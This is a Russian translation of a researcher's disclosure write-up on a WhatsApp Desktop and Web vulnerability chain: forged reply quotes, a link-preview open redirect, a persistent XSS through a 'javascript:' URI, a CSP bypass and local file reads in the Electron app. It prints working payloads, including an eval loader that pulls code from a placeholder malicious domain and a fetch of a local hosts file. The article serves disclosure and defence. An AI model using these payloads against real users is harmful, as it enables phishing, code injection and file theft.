Гостевая статья Обнаружение критической уязвимости в WhatsApp Desktop Platform которая позволяет чтение из Local File System

Это история о том, как я нашел и помог Facebook исправить многочисленные уязвимости в WhatsApp , от простого Open-Redirect через Persistent-XSS и CSP-обхода до полной кроссплатформенности. Чтение из Local File System на Windows и Mac!

Еще в 2017 году, путешествуя по Перу, я обнаружил уязвимость в системе безопасности, которую Check Point опубликовал несколько месяцев спустя. Она была простой. По словам исследователей Check Point в этой статье, опубликованной в 2018 году, она позволяла злоумышленнику «изменить текст чужого сообщения, по сути, вкладывая его в уста».

Это было круто, но тогда я не мог придумать идеи дальнейшего использования уязвимости или обнаружения связанных с ней. Так что за исключением троллинга моих друзей пару раз в нашем групповом чате, я ее не использовал.

Год спустя я решил продолжить свои исследования. Я действительно хотел найти крупную дыру безопасности в широко известном и широко используемом сервисе, и я чувствовал, что WhatsApp - хорошее начало. Итак, я продолжил, так как уже имел представление о существующих недостатках безопасности в мобильных и веб-приложениях WhatsApp.
Мне удалось обнаружить еще четыре уникальных уязвимости в WhatsApp, которые привели меня к постоянному XSS и даже чтению из локальной файловой системы - с помощью одного сообщения.

Вот как это было:

1. Мой первоначальный успех - «изменение текста чужого ответа»
Во-первых, давайте поговорим о том, что я нашел в 2017 году, поскольку это является основой для этого исследования.

Первоначально я думал: «Используя веб-сайт WhatsApp, я могу найти строку кода, в которой формируется объект, содержащий метаданные сообщения, подделать его, а затем позволить приложению продолжать свой естественный процес отправки сообщений, таким образом создавая свой сообщение в обход механизма фильтрации пользовательского интерфейса. "

Так, например, используя эту технику, я могу изменить текст ответа на сообщение и отправить его, чего я не могу добиться, законно используя веб-интерфейс WhatsApp. Я нашел эту строку и сумел взглянуть на Object, содержащий метаданные сообщения. Вы можете найти эту строку, просмотрев

return Promise.callSynchronously(function()

весь код и установив точку остановки на

var t = e.id;

. В нем было много интересных областей, поэтому мы сосредоточимся здесь на соответствующих:

e = {
  __x_body: "Why would you say that?!",
  __x_type: "chat",
  __x_quotedMsg: {
    body: "I think you are the best!",
    type: "chat",
    mentionedJidList: [],
    isForwarded: false,
    labels: [],
  },
  __x_quotedStanzaID: "3EB0E42AC64D3D9BC5E7",
};

По сути, я обнаружил, что просто запустив:

e.__x_quotedMsg.body = "I think you are the worst!"; // alter the text
e.__x_quotedStanzaID = e.__x_quotedStanzaID + "_"; // change the id of the original message

прежде чем разрешить выполнение сообщения send, вы получите следующее:

(Это работает для WhatsApp iOS / Android / Windows Desktop / Mac Desktop / Web)

Тело цитаты ответа содержит сообщение, которое я составил и которое никогда не было отправлено в текущем разговоре. Это круто, но не так сильно.
Что еще я могу разобрать? А как насчет сообщений с богатыми предварительными баннерами?

2. Опасный недостаток Open-Redirect в сообщениях с расширенным баннером предварительного просмотра, использующим «@»
Именно здесь это исследование становится более интересным. Сообщения с расширенными баннерами предварительного просмотра - это сообщения, которые содержат баннеры с дополнительной информацией, касающейся ссылки, которая находится в теле сообщения. Так, например, если я отправлю сообщение с « https://facebook.com » в качестве тела, получатель получит это:

У WhatsApp баннер генерируется на стороне отправителя, и это важный момент для понимания. Можно легко изменить свойства баннера перед отправкой получателю. Отличный рецепт прямо здесь!
Первым делом я создал сообщение, которое будет содержать законно выглядящий баннер, но вместо этого перенаправит на другой домен, просто заменив ссылку:
e.__x_body = e.__x_matchedText = "https://example.com";
И вот что я получил:

(Это работает для WhatsApp iOS / Android / Windows Desktop / Mac Desktop / Web)

Здорово! Теперь, несмотря на то, что баннер выглядит так, будто он исходит от Facebook, нажатие на ссылку перенаправит на

Ссылка скрыта от гостей

Будучи знакомым со всевозможными уловками, используемыми злоумышленниками в мире Интернета, я поэкспериментировал с этой идеей, чтобы понять, можно ли сделать этот открытый редирект более опасным:

e.__x_body = e.__x_matchedText =
  "Join Facebook! https://facebook.com+login_oage&welcome_to_facebook=true&timestamp=42837643@bit.ly/2SfZikR Become a friend of mine!";

(Это работает для WhatsApp iOS / Android / Windows Desktop / Mac Desktop / Web)

Видишь, что я сделал? Мне удалось не только связать ссылку баннера, но и создать сообщение со ссылкой, которая выглядит так, как будто она принадлежит https://facebook.com, а ссылка всегда будет перенаправлена на

Ссылка скрыта от гостей

Она опасно, потому что кажется подлинной, поскольку баннер и ссылка выглядят так, как будто они действительно принадлежат https://facebook.com

Это работает благодаря роли "@" в

Ссылка скрыта от гостей

:

Цель «@» в URL , чтобы передать имя пользователя и пароль для посещенных доменов следующим образом:

https://USERNAME:PASSWORD@DOMAIN.COM

. Можно злоупотребить этим, как я только что сделал, и заменить имя пользователя и пароль чем-либо еще:

https://DOMAIN-A.COM@DOMAIN-B.com

и это все равно будет работать. Firefox - единственный браузер, который по умолчанию предупреждает пользователей, если этот метод используется без указания имени пользователя и пароля.

И затем меня поразило - если я смогу подделать сообщение и отправить какую-либо ссылку, смогу ли я использовать

 javascript:

URI?

3. От Open-Redirect к Persistent-XSS с использованием

javascript:

URI
ДА! Но это не так просто.

Сначала именно это я и сделал:

e.__x_body = e.__x_matchedText = "javascript:alert(document.domain)"

;
Но это не сработало. WhatsApp, казалось,скидывал баннер на принимающей стороне. После нескольких неудачных попыток мне пришла в голову мысль: может быть, это происходит из-за того, что WhatsApp просматривает ссылку, прикрепленную к баннеру, и ожидает, что она будет содержать допустимый

https:

URI схемы?

Таким образом, слушая внутреннего хакера, я сделал это:

e.__x_body = e.__x_matchedText = 'javascript:"https://example.com";alert(document.domain)';

И ЭТО CРАБОТАЛО!

(Это работает для WhatsApp Windows Desktop / Mac Desktop / Web)

Получил в один клик Persistent-XSS!

К счастью для WhatsApp, браузеры на основе Chromium добавили механизм защиты от

javascript:

URI именно тогда, когда я обнаружил эту уязвимость. К сожалению для WhatsApp, в других браузерах, таких как Safari и Edge, эта уязвимость все еще широко открыта. На рисунке выше используется Brave - более старая версия браузера на основе Chromium.

При нажатии на сообщение в собственных мобильных приложениях WhatsApp обычно открывается

Ссылка скрыта от гостей

вместо запуска XSS (очевидно, потому что XSS редко имеет отношение к нативным мобильным приложениям).

Теперь я не смог достичь состояния, в котором полезная нагрузка не является видимой частью сообщения. Это связано с тем, что WhatsApp имеет часть в своем коде, которая проверяет, включено ли содержимое URI ссылки в тело сообщения при загрузке сообщений. Если совпадений нет, WhatsApp пропустит баннер, и эксплойт не будет работать. Лучшее, чего мне удалось добиться, - это создать достаточно длинное сообщение, чтобы включилась функция «Читать дальше ...» и убедиться, что фактическая полезная нагрузка будет находиться в самой нижней части тела сообщения, где вы можете ее видеть только если вы нажали "Читать дальше ..".

Мне нужно было придумать способ создать очень маленькую полезную нагрузку, которая бы загружала большую полезную нагрузку из другого источника, чтобы сделать все это как можно менее подозрительным. Это будет означать обход правил CSP WhatsApp, что будет нелегкой задачей.

4. Обход правил CSP WhatsApp для повышения эффективности Persistent-XSS
Обход правил CSP упрощает

Ссылка скрыта от гостей

. Вы просто добавляете URL-адрес целевого веб-сайта в текстовое поле, и он сразу сообщает вам о конфигурации CSP и о том, насколько безопасен (или небезопасен) веб-сайт:

Вы видите этот

object-src [missing]

там? ()
Это то, что я собираюсь сделать. Используя мой

 javascript:

трюк, я собираюсь добавить следующую полезную нагрузку в мое вредоносное сообщение:

var payload = `
  hard_expire_time.innerHTML +=
  '<object data="https://MY_MALICIOUS_DOMAIN/MY_PAYLOAD_IFRAME.html" />';
  onmessage=(e)=>{eval(JSON.parse(e.data))};
`;
payload = `javascript:"https://facebook.com";eval(atob("${btoa(payload)}"))`;
e.__x_body = e.__x_matchedText = payload;

И содержание

https://MY_MALICIOUS_DOMAIN/MY_PAYLOAD_IFRAME.html

будет:

<html>
  <head></head>
  <body>
    <script>
      top.postMessage(
      JSON.stringify(
      "open('https://facebook.com');
        alert('external payload');"
      ),
      "*");
    </script>
  </body>
</html>

(Это работает для WhatsApp Web)
Видишь, что я только что сделал? Поскольку

object-src

директива отсутствует, это означает, что я могу использовать

object

для загрузки

iframe (ish)

в любой источник по своему выбору. Таким образом, я смогу запустить любой внешний код без ограничений по размеру и без проблем! Осталось только выполнить этот код в

 web.whatsapp.com

домене, а не в собственном домене

iframe

, иначе это будет довольно бесполезно.

Чтобы добиться этого, я просто использую XSS для загрузки

iframe

, а затем слушаю сообщения, которые публикуются в разных окнах. Затем я использую

iframe

, чтобы отправить сообщение в верхнее окно с содержимым внешнего кода.

Верхнее окно, где был выполнен XSS, получает сообщение от

iframe

, анализирует предоставленную им внешнюю полезную нагрузку и выполняет ее в своем контексте (web.whatsapp.com).

Внешняя полезная нагрузка была успешно извлечена и выполнена!

Ох, и этот

hard_expire_time.innerHTML

трюк? Это был самый короткий способ, которым я мог придумать, чтобы DOM загрузил мой элемент

Object ( hard_expire_time этот элемент в DOM веб-сайта)

.

5. От Persistent-XSS к чтению из файловой системы на Mac / Windows с возможностью RCE
Удивительно, но это самая легкая часть. WhatsApp имеет настольные приложения для Mac и Windows.

Я очень скептически относился к возможности использовать крутой XSS, который я нашел в настольных приложениях. В конце концов, они, вероятно, не сделаны на HTML и JS, верно?

Я щелкнул по тому же вредоносному сообщению, которое использовал в веб-приложении, через настольное приложение Windows, и был поражен, увидев следующее:

(Это работает для WhatsApp Windows Desktop / Mac Desktop / Web)

ВОТ ЭТО ДА! Я имею в виду, что эта

document.domain

часть на самом деле не сработала, но эта

alert()

часть, безусловно, сработала ! Как это возможно ?!

Я зашел Интернет, прекрасно зная, что найду ответ, и вот, что я быстро обнаружил:

Эти типы приложений написаны с использованием

Ссылка скрыта от гостей

. Electron - это крутая платформа, которая позволяет создавать «нативные» приложения с использованием стандартных веб-функций. Это значительно упрощает работу многих крупных компаний, поскольку позволяет им иметь один исходный код как для своих веб-приложений, так и для собственных настольных приложений. Электрон постоянно обновляется вместе с платформой, на которой он основан: Chrome.

Это означает, что мой XSS работает, так как это - в конце концов - вариация Chromium!

Но подождите, до этого я узнал, что мой

javascript:

трюк не работает в браузерах на основе Chromium с момента последнего патча. Так почему же этот XSS работает на Electron?

Я решил использовать свой XSS, чтобы предупредить

userAgent

о запущенном в данный момент приложении, и возникла следующая серьезная ошибка:

(Это работает для WhatsApp Windows Desktop / Mac Desktop)

Для опытных исследователей уязвимостей в этом предупреждающем сообщении достаточно данных, чтобы сразу определить потенциал RCE, поэтому задумайтесь на секунду!

Эта уязвимость была обнаружена, когда Chrome/78 была стабильной версией! Несколькими версиями ранее была исправлена Chrome/78 возможность использования этого

javascript:

трюка, и если WhatsApp обновил бы свое веб-приложение Electron с 4.1.4 до последней версии, которая была 7.xx на момент обнаружения этой уязвимости (!) - эта XSS никогда не существовало!

Я не потратил время на то, чтобы использовать публичную RCE, и поэтому не получил возможности доказать существование такой уязвимости, но теоретическая концепция такова: если вы запускаете старую версию уязвимого приложения, кто-то может использовать эту уязвимость и делать плохие вещи для вас. Однако я продемонстрировал, как я использую

fetch()API

, например, для чтения файлов из локальной ОС, например, содержимого

C:\Windows\System32\drivers\etc\hosts

файла в этом случае:

(Это работает для WhatsApp Windows Desktop / Mac Desktop)

По какой-то причине правила CSP не были проблемой для приложения на базе Electron, поэтому выборка полезной нагрузки извне с использованием простого ресурса javascript работала. Это полезная нагрузка, которую я использовал XSS для извлечения и выполнения с моего удаленного вредоносного сервера:

alert(navigator.userAgent);
(async function(){
    // read "file:///C:/Windows/System32/drivers/etc/hosts" content
    const r = await fetch('file:///C:/Windows/System32/drivers/etc/hosts);
    const t = await r.text();
    alert(t)
}())

И это все. Это был мой полный путь, от простого Open-Redirect через Persistent-XSS и обхода CSP до полного кроссплатформенного чтения из файловой системы и, возможно, удаленного выполнения кода .

Ключевые выводы из этого исследования
Здесь есть несколько очень серьезных недостатков безопасности, которые должны извлечь уроки все компании:

1. Если ваше приложение использует расширенные баннеры предварительного просмотра, и эти баннеры создаются на стороне отправителя, ваша фильтрация на стороне получателя должна быть точной. Вы просто не можете позволить странным URL-адресам загружаться на принимающей стороне, не убедившись, что они законны. Черт возьми, если ваше приложение обычно обрабатывает сообщения на стороне клиента, ваша фильтрация на принимающей стороне должна быть точной!
2. Правила CSP очень важны и могли бы предотвратить большую часть этого беспорядка. Если бы правила CSP были хорошо настроены, эффкутивность, полученная этим XSS, была бы намного меньше. Возможность обойти конфигурацию CSP позволяет злоумышленнику красть ценную информацию у жертвы, легко загружать внешние полезные данные и многое другое!
3. Если вы собираетесь использовать Electron, вы ДОЛЖНЫ убедиться, что он обновляется с каждым обновлением Chromium. И это очень важно - обновления Chromium - это не просто классные новые функции, в большинстве обновлений Chromium исправляются серьезные уязвимости! Когда обновляется Chromium, ваше приложение на базе Electron также должно обновляться, в противном случае вы оставляете своих пользователей уязвимыми для серьезных эксплойтов!

Резюме
И это в значительной степени так. Я должен признать, что вложил много усилий и времени в это исследование, но я рад, что все оно окупилось. Я думаю, что здесь есть несколько очень интересных идей, которые должны вдохновить вас на исследование новых типов недостатков безопасности, которые, вероятно, существуют там. Я призываю вас идти вперед и делать это ответственно! И если вы находитесь на другой стороне игры, пожалуйста, используйте эту статью, чтобы укрепить свое приложение. Это 2020 год, ни один продукт не должен позволять полное чтение из файловой системы и, возможно, RCE из одного только сообщения.

Facebook

Ссылка скрыта от гостей

.

Источник:

Ссылка скрыта от гостей